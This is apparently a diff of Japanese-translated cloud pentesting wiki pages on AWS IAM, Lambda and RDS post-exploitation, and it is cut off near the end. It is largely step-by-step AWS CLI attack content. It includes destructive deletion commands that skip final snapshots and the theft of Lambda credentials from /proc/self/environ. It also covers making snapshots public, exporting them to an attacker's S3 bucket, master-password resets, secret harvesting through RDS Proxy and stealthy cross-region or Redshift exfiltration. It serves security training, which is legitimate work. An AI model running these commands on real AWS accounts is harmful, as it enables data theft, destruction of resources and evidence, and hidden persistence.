IAM のワイルドカード iam:Delete* は、ユーザー、ロール、グループ、ポリシー、キー、証明書、MFA デバイス、ポリシーのバージョンなど、さまざまな種類の IAM リソースを削除する権限を与えます。そのため影響範囲が非常に大きく、iam:Delete* を付与された主体は識別情報、認証情報、ポリシーおよび関連アーティファクトを恒久的に破壊したり、監査証拠を削除したり、サービスや運用の停止を引き起こしたりする可能性があります。いくつかの例は次のとおりです
```bash
# Delete a user
aws iam delete-user --user-name <Username>
# Delete a role
aws iam delete-role --role-name <RoleName>
# Delete a managed policy
aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
```
### `iam:EnableMFADevice`
iam:EnableMFADevice が付与された主体は、対象ユーザーにすでに有効な MFA が設定されていない場合に、アカウント内のアイデンティティに MFA デバイスを登録できます。これはユーザーのアクセスを妨害するために利用できます。攻撃者が MFA デバイスを登録すると、正当なユーザーは攻撃者が登録した MFA を制御していないため、サインインできなくなる可能性があります。
このアクセス拒否攻撃は、ユーザーに MFA がまったく登録されていない場合にのみ有効です。攻撃者がそのユーザーのために MFA デバイスを登録すると、正当なユーザーはその新しい MFA を必要とするフローからロックアウトされます。ユーザーがすでに1つ以上の MFA デバイスを保持している場合、攻撃者が制御する MFA を追加しても正当なユーザーは妨げられません — 既存の任意の MFA を使って引き続き認証できます。
ユーザーの MFA デバイスを有効化（登録）するために、攻撃者は次のように実行できます:
```bash
aws iam enable-mfa-device \
--user-name <Username> \
--serial-number arn:aws:iam::111122223333:mfa/alice \
--authentication-code1 123456 \
--authentication-code2 789012
```
## 参考資料
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)

28
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
View File

@@ -4,7 +4,7 @@
## Lambda
For more information check:
詳細は次を参照してください：
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,13 +12,19 @@ For more information check:
### Exfilrtate Lambda Credentials
Lambda は実行時に環境変数を使って credentials を注入します。もしそれらにアクセスできれば（`/proc/self/environ` を読む、または脆弱な関数自体を利用するなどして）、自分で利用できます。これらはデフォルトの変数名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY`、`AWS_ACCESS_KEY_ID` に格納されています。
Lambda はランタイムで環境変数を使用して資格情報を注入します。もしそれらにアクセスできれば（`/proc/self/environ` を読み取るか、脆弱な関数自体を利用することで）、自分でそれらを使用できます。`AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY`、`AWS_ACCESS_KEY_ID` というデフォルトの変数名に格納されています。
By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
デフォルトでは、これらの資格情報は cloudwatch のロググループに書き込み権限（ロググループ名は `AWS_LAMBDA_LOG_GROUP_NAME` に保存されています）および任意のロググループを作成する権限を持ちます。ただし、lambda functions は用途に応じてより多くの権限が割り当てられていることがよくあります。
### `lambda:Delete*`
lambda:Delete* 権限が付与された攻撃者は、Lambda functions、versions/aliases、layers、event source mappings およびその他の関連構成を削除できます。
```bash
aws lambda delete-function \
--function-name <LAMBDA_NAME>
```
### Steal Others Lambda URL Requests
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
もし攻撃者が何らかの方法で Lambda の内部で RCE を獲得すると、他のユーザが Lambda に送る HTTP リクエストを盗むことができます。リクエストに機密情報（cookies、credentials...）が含まれている場合、それらを窃取できます。
{{#ref}}
aws-warm-lambda-persistence.md
@@ -26,7 +32,7 @@ aws-warm-lambda-persistence.md
### Steal Others Lambda URL Requests & Extensions Requests
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
Lambda Layers を悪用すると、extensions を悪用して Lambda 内に永続化し、リクエストを盗んだり改変したりすることも可能です。
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -34,7 +40,7 @@ Abusing Lambda Layers it's also possible to abuse extensions and persist in the
### AWS Lambda – VPC Egress Bypass
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
空の VpcConfig (SubnetIds=[], SecurityGroupIds=[]) に設定を更新して、制限された VPC から Lambda 関数を強制的に外へ出すことができます。関数は Lambda 管理のネットワークプレーンで実行され、アウトバウンドのインターネットアクセスを回復し、NAT なしのプライベート VPC サブネットが課すイグレス制御を回避します。
{{#ref}}
aws-lambda-vpc-egress-bypass.md
@@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
### AWS Lambda – Runtime Pinning/Rollback Abuse
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
`lambda:PutRuntimeManagementConfig` を悪用して関数を特定のランタイムバージョンにピン（Manual）したり、更新を凍結（FunctionUpdate）したりできます。これにより悪意あるレイヤー/ラッパーとの互換性が維持され、関数を古く脆弱なランタイムに留めて悪用や長期的な永続化を助ける可能性があります。
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
@@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
`lambda:UpdateFunctionConfiguration` の高度なログ制御を悪用して、関数のログを攻撃者が指定した CloudWatch Logs の log group にリダイレクトできます。これはコードや実行ロールを変更せずに機能します（ほとんどの Lambda ロールは `AWSLambdaBasicExecutionRole` 経由で `logs:CreateLogGroup/CreateLogStream/PutLogEvents` を既に含んでいます）。関数がシークレットやリクエストボディを出力したり、スタックトレースでクラッシュした場合は、新しいロググループからそれらを収集できます。
{{#ref}}
aws-lambda-loggingconfig-redirection.md
@@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
### AWS - Lambda Function URL Public Exposure
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
Function URL の AuthType を NONE に切り替え、lambda:InvokeFunctionUrl を全員に付与するリソースベースポリシーをアタッチすることで、プライベートな Lambda Function URL を公開の未認証エンドポイントに変更できます。これにより内部関数の匿名呼び出しが可能になり、機密なバックエンド処理が露出する恐れがあります。
{{#ref}}
aws-lambda-function-url-public-exposure.md
@@ -66,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
### AWS Lambda – Event Source Mapping Target Hijack
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
`UpdateEventSourceMapping` を悪用して既存の Event Source Mapping (ESM) のターゲット Lambda 関数を変更し、DynamoDB Streams、Kinesis、または SQS からのレコードを攻撃者管理下の関数へ配信させることができます。これによりプロデューサや元の関数コードに触れずにライブデータを密かに転用できます。
{{#ref}}
aws-lambda-event-source-mapping-hijack.md
@@ -74,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
### AWS Lambda – EFS Mount Injection data exfiltration
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
`lambda:UpdateFunctionConfiguration` を悪用して既存の EFS Access Point を Lambda にアタッチし、マウントされたパスからファイルを列挙/読み取る簡単なコードをデプロイして、関数が以前はアクセスできなかった共有シークレットや設定を外部へ持ち出すことができます。
{{#ref}}
aws-lambda-efs-mount-injection.md

166
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
View File

@@ -4,7 +4,7 @@
## RDS
詳細は次を参照してください:
詳細は以下を参照してください：
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
攻撃者が十分な権限を持っている場合、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を作成することで、**DB を公開アクセス可能にする**ことができます。
攻撃者が十分な権限を持っていれば、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を復元することで、**DB を公開アクセス可能にする**ことができます。
```bash
aws rds describe-db-instances # Get DB identifier
@@ -38,11 +38,47 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
rds:StopDBCluster または rds:StopDBInstance を持つ攻撃者は、RDS インスタンスまたはクラスタ全体を即時に停止させることができ、データベースの利用不能、接続切断、およびデータベースに依存するプロセスの中断を引き起こします。
単一の DB インスタンスを停止するには（例）：
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
```
DB cluster 全体を停止するには（例）:
```bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Delete*`
`rds:Delete*` が付与された攻撃者は RDS リソースを削除でき、DB インスタンス、クラスター、スナップショット、自動バックアップ、サブネットグループ、パラメータ/オプショングループや関連するアーティファクトを削除して、即時のサービス停止、データ損失、リカバリポイントの破壊、及びフォレンジック証拠の消失を引き起こす可能性があります。
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot
# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開** **可能に**することができます。そうすれば、そのスナップショットから自分のアカウントでDBを作成できます。
これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開** **可能**にすることができます。その後、攻撃者は自分のアカウントでそのスナップショットからDBを作成できます。
攻撃者が **`rds:CreateDBSnapshot` を持っていない** 場合でも、**他の** 作成済みスナップショットを**公開**することは可能です。
攻撃者が **`rds:CreateDBSnapshot` を持っていない**場合でも、**他の**作成済みスナップショットを**公開**にすることができます。
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は、**RDS インスタンスのログファイルの一部をダウンロードできます**。機密データや認証情報が誤ってログに記録されている場合、攻撃者はその情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。
権限`rds:DownloadDBLogFilePortion`を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロードできる**。もし機密データやアクセス認証情報が誤ってログに記録されていた場合、攻撃者はその情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**潜在的な影響**: 機密情報へのアクセス、または leaked credentials を使用した不正な操作。
**Potential Impact**: leaked credentials を使用して機密情報にアクセスしたり、許可されていない操作を実行したりする可能性があります。
### `rds:DeleteDBInstance`
これらの権限を持つ攻撃者は **DoS existing RDS instances** を実行できます。
これらの権限を持つ攻撃者は**既存のRDSインスタンスをDoSする**ことができます。
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Potential impact**: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。
**潜在的な影響**: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。
### `rds:StartExportTask`
> [!NOTE]
> TODO: テスト
この権限を持つ攻撃者は、**RDS インスタンスのスナップショットを S3 バケットにエクスポートする** を実行できます。攻撃者が宛先の S3 バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
攻撃者がこの権限を持っていると、**RDS インスタンスのスナップショットを S3 バケットへエクスポートする**ことができます。攻撃者が宛先の S3 バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potential impact**: エクスポートされたスナップショット内の機密データへのアクセス。
**潜在的影響**: エクスポートされたスナップショット内の機密データへのアクセス。
### ステルス復元のためのクロスリージョン自動バックアップ複製 (`rds:StartDBInstanceAutomatedBackupsReplication`)
クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別の AWS Region にこっそり複製し、そこで復元します。攻撃者は復元した DB をパブリックに公開し、マスターパスワードをリセットして、守備側が監視していない可能性のある Region でアウトオブバンドにデータへアクセスできます。
クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別のAWSリージョンに静かに複製し、そこで復元します。攻撃者は復元したDBをパブリックにアクセス可能にし、マスターパスワードをリセットして、防御側が監視していないリージョンでアウトオブバンドにデータへアクセスできます。
Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (オプション: クリーンアップ)
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Impact: 本番データのコピーを別の Region に復元し、攻撃者が管理する資格情報で公開することで、永続化とデータの外部流出が可能になります。
Impact: 本番データのコピーを別リージョンに復元し、攻撃者が管理する認証情報で公開することで、永続化およびデータの持ち出しが可能になる。
<details>
<summary>エンドツーエンド CLI (プレースホルダーを置き換えてください)</summary>
<summary>エンドツーエンド CLI（プレースホルダを置換）</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -163,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### DB parameter groups 経由でフル SQL ロギングを有効にし、RDS log APIs 経由で exfiltrate
### DBパラメータグループでフルSQLロギングを有効化して、RDSログAPI経由で持ち出す
`rds:ModifyDBParameterGroup` を悪用し、RDS log download APIs でアプリケーションが実行したすべての SQL ステートメントを取得します（DB エンジンの認証情報は不要）。エンジンの SQL ロギングを有効にし、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`（または REST の `downloadCompleteLogFile`）でログファイルを取得します。secrets/PII/JWTs を含む可能性のあるクエリを収集するのに有用です。
`rds:ModifyDBParameterGroup` を RDS ログダウンロードAPI と組み合わせて悪用し、アプリケーションが実行する全てのSQL文を捕捉します（DBエンジンの認証情報は不要）。エンジンのSQLロギングを有効にし、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`（または REST の `downloadCompleteLogFile`）でログファイルを取得します。秘密情報／PII／JWT を含む可能性のあるクエリの収集に有用です。
Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
- `rds:ModifyDBInstance` (インスタンスがデフォルトのパラメータグループを使用している場合にカスタムパラメータグループをアタッチするためのみ)
- `rds:RebootDBInstance` (再起動が必要なパラメータ用、例: PostgreSQL)
Steps
1) Recon target and current parameter group
1) 対象のリコンと現在のパラメータグループの確認
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) カスタム DB パラメータグループがアタッチされていることを確認する（デフォルトは編集できない）
- インスタンスが既にカスタムグループを使用している場合は、次の手順でその名前を再利用する。
- それ以外の場合は、エンジンファミリーに合ったものを作成してアタッチする：
2) カスタム DB parameter group がアタッチされていることを確認する（デフォルトは編集できない）
- インスタンスがすでにカスタムグループを使用している場合は、次のステップでその名前を再利用する。
- そうでなければ、engine family に合ったものを作成してアタッチする:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -197,7 +233,7 @@ aws rds modify-db-instance \
# Wait until status becomes "available"
```
3) 詳細なSQLログを有効にする
- MySQL engines (即時 / 再起動不要):
- MySQL engines (即時適用 / 再起動不要):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -208,7 +244,7 @@ aws rds modify-db-parameter-group \
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL エンジン（再起動が必要）:
- PostgreSQL エンジン (再起動が必要):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) ワークロードを実行する（またはクエリを生成する）。ステートメントはエンジンのファイルログに書き込まれます
4) ワークロードを実行させる（またはクエリを生成する）。ステートメントはエンジンのファイルログに書き込まれます
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) ログを発見してダウンロードする（DB 資格情報は不要）
5) ログを検出してダウンロードする（DB creds は不要）
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -235,18 +271,18 @@ aws rds download-db-log-file-portion \
--starting-token 0 \
--output text > dump.log
```
6) 機密データを検出するためにオフラインで解析する
6) 機密データをオフラインで分析する
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
例の証拠（編集済み）:
証拠の例（編集済み）:
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
クリーンアップ
- パラメータをデフォルトに戻し、必要に応じて再起動する:
- パラメータをデフォルトに戻し、必要に応じて再起動してください:
```bash
# MySQL
aws rds modify-db-parameter-group \
@@ -261,11 +297,11 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
影響: AWS APIs を介してアプリケーションの全ての SQL ステートメントをキャプチャすることによる事後侵害でのデータアクセス（DB creds 不要）、potentially leaking secrets, JWTs, and PII.
影響: Post-exploitation により、AWS APIs を介してアプリケーションのすべての SQL ステートメントをキャプチャすることでデータにアクセスでき（no DB creds）、secrets、JWTs、PII を leaking する可能性があります。
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
RDS の read replicas を悪用して、プライマリインスタンスの資格情報に触れることなく out-of-band の読み取りアクセスを取得します。攻撃者は本番インスタンスから read replica を作成し、レプリカのマスターパスワードをリセットすることができ（これはプライマリを変更しません）、必要に応じてレプリカを公開してデータを exfiltrate できます。
RDS の read replica を悪用して、プライマリのインスタンス資格情報に触れることなくオフバンドで読み取りアクセスを取得できます。攻撃者は本番インスタンスから read replica を作成し、replica の master password をリセットできます（これは primary を変更しません）。さらに、replica を公開してデータを exfiltrate することも可能です。
Permissions needed (minimum):
- `rds:DescribeDBInstances`
@@ -273,7 +309,7 @@ Permissions needed (minimum):
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
影響: 攻撃者が制御する資格情報でレプリカ経由の本番データへの読み取り専用アクセスが可能。プライマリが触られずレプリケーションが継続するため、検出される可能性が低くなります。
影響: 攻撃者が制御する資格情報でアクセス可能な read-only な replica 経由で本番データの読み取りが可能になります。primary が触られず replication が継続するため、検出される可能性は低くなります。
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -304,13 +340,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
証拠の例（MySQL）:
証拠例（MySQL）:
- レプリカDBのステータス: `available`、読み取りレプリケーション: `replicating`
- 新しいパスワードでの接続に成功し、`@@read_only=1` により読み取り専用レプリカへのアクセスが確認された。
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
RDS Blue/Greenを悪用して、本番DBを継続的にレプリケートされる読み取り専用のgreen環境へクローンします。次にgreenのマスター資格情報をリセットして、blue (prod) インスタンスに触れずにデータへアクセスします。これはsnapshot sharingよりステルス性が高く、ソースのみに注力した監視を回避することが多い。
RDS Blue/Green を悪用して、本番 DB を継続的にレプリケートされる読み取り専用の green 環境へクローンします。次に green のマスター資格情報をリセットして、blue (prod) インスタンスに触れずにデータへアクセスします。これは snapshot sharing よりステルス性が高く、ソースのみを監視している検知を回避しやすいです。
```bash
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -357,22 +393,21 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
影響: 本番インスタンスを変更せずに、本番のニアリアルタイムなクローンに対して読み取り専用ながらフルデータアクセスが可能です。ステルスなデータ抽出やオフライン解析に有用です。
影響: 読み取り専用だが、本番環境のほぼリアルタイムなクローンに対して完全なデータアクセスが可能で、本番インスタンスを変更せずにステルスなデータ抽出やオフライン解析に有用です。
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
Aurora を悪用してターゲットクラスタで RDS Data API HTTP endpoint を有効化し、master password を自分で管理する値にリセットして、HTTPS 経由で SQL を実行します（VPC ネットワーク経路は不要）。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作します（例: Aurora MySQL 8.0 provisioned; 一部の Aurora PostgreSQL/MySQL バージョン）。
ターゲットクラスターでRDS Data APIのHTTP endpointを有効化し、マスターパスワードを自分で制御できる値にリセットして、HTTPS経由でSQLを実行します（VPCネットワーク経路は不要）。Data API/EnableHttpEndpointをサポートするAuroraエンジンで動作します（例: Aurora MySQL 8.0 provisioned; 一部のAurora PostgreSQL/MySQLバージョン）。
必要な権限（最小）:
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
影響: ネットワーク分離を回避し、DB への直接的な VPC 接続なしに AWS APIs 経由でデータを抽出して持ち出すことができます。
影響: ネットワーク分割を回避し、DBへの直接的なVPC接続なしにAWS APIs経由でデータをexfiltrateできます。
<details>
<summary>End-to-end CLI (Aurora MySQL の例)</summary>
<summary>エンドツーエンド CLI（Aurora MySQL の例）</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
@@ -425,23 +460,23 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
</details>
注意:
- rds-data によってマルチステートメント SQL が拒否される場合は、個別に execute-statement を実行してください。
- modify-db-cluster --enable-http-endpoint が効果を持たないエンジンでは、rds enable-http-endpoint --resource-arn を使用してください。
- エンジン/バージョンが実際に Data API をサポートしていることを確認してください。そうでないと HttpEndpointEnabled は False のままになります。
- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
### RDS Proxy の認証用 Secrets Manager シークレット経由で DB 資格情報を収集 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### RDS Proxy の認証シークレットから DB 認証情報を収集する (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
RDS Proxy の設定を悪用してバックエンド認証に使われている Secrets Manager シークレットを特定し、そのシークレットを読み取ってデータベース資格情報を取得します。多くの環境では `secretsmanager:GetSecretValue` が広範に許可されており、DB 資格情報への低摩擦なピボットになります。シークレットが CMK を使用している場合、範囲を誤った KMS 権限により `kms:Decrypt` が可能になることもあります。
RDS Proxy の設定を悪用してバックエンド認証に使用される Secrets Manager のシークレットを特定し、そのシークレットを読み取ってデータベースの認証情報を取得します。多くの環境では広範な `secretsmanager:GetSecretValue` が付与されており、これにより DB 認証情報への低摩擦なピボットが可能になります。もしシークレットが CMK を使用している場合、権限が正しくスコープされていない KMS 権限により `kms:Decrypt` が可能になることもあります。
Permissions needed (minimum):
必要な権限（最小）:
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
- 参照されている SecretArn に対する `secretsmanager:GetSecretValue`
- シークレットが CMK を使用している場合のオプション: そのキーに対する `kms:Decrypt`
Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.
影響: プロキシに設定された DB のユーザー名/パスワードが即時に露呈し、直接の DB アクセスやさらなる横展開が可能になる。
Steps
手順
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
@@ -454,7 +489,7 @@ aws secretsmanager get-secret-value \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
ラボ（再現に必要な最小構成）
ラボ（再現のための最小構成）
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -473,27 +508,27 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
クリーンアップ（ラボ）
クリーンアップ (lab)
```bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### ステルスな継続的データ流出 via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
### ステルスな継続的 exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
Aurora PostgreSQL zero‑ETL integrationを悪用して、本番データをあなたが管理するRedshift Serverless namespaceに継続的に複製します。特定のAurora cluster ARNに対してCreateInboundIntegration/AuthorizeInboundIntegrationを許可する緩いRedshift resource policyがある場合、攻撃者はDB creds、スナップショット、ネットワーク露出なしでほぼリアルタイムのデータコピーを確立できます。
Aurora PostgreSQL zero‑ETL integration を悪用して、本番データをあなたが制御する Redshift Serverless namespace に継続的に複製します。特定の Aurora cluster ARN に対して CreateInboundIntegration/AuthorizeInboundIntegration を許可する寛容な Redshift resource policy があると、攻撃者は DB creds、snapshots、あるいはネットワーク公開なしでほぼリアルタイムのデータコピーを確立できます。
必要な権限（最低）:
Permissions needed (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (クエリ実行用)
- `rds-data:ExecuteStatement` (オプション；必要に応じてデータ投入用)
テスト済み: us-east-1、Aurora PostgreSQL 16.4 (Serverless v2)、Redshift Serverless。
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Redshift Serverless namespace + workgroup を作成</summary>
<summary>1) Redshift Serverless namespace と workgroup を作成</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -509,7 +544,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
</details>
<details>
<summary>2) Redshift のリソースポリシーを設定して Aurora ソースを許可する</summary>
<summary>2) Aurora ソースを許可するように Redshift のリソースポリシーを構成する</summary>
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
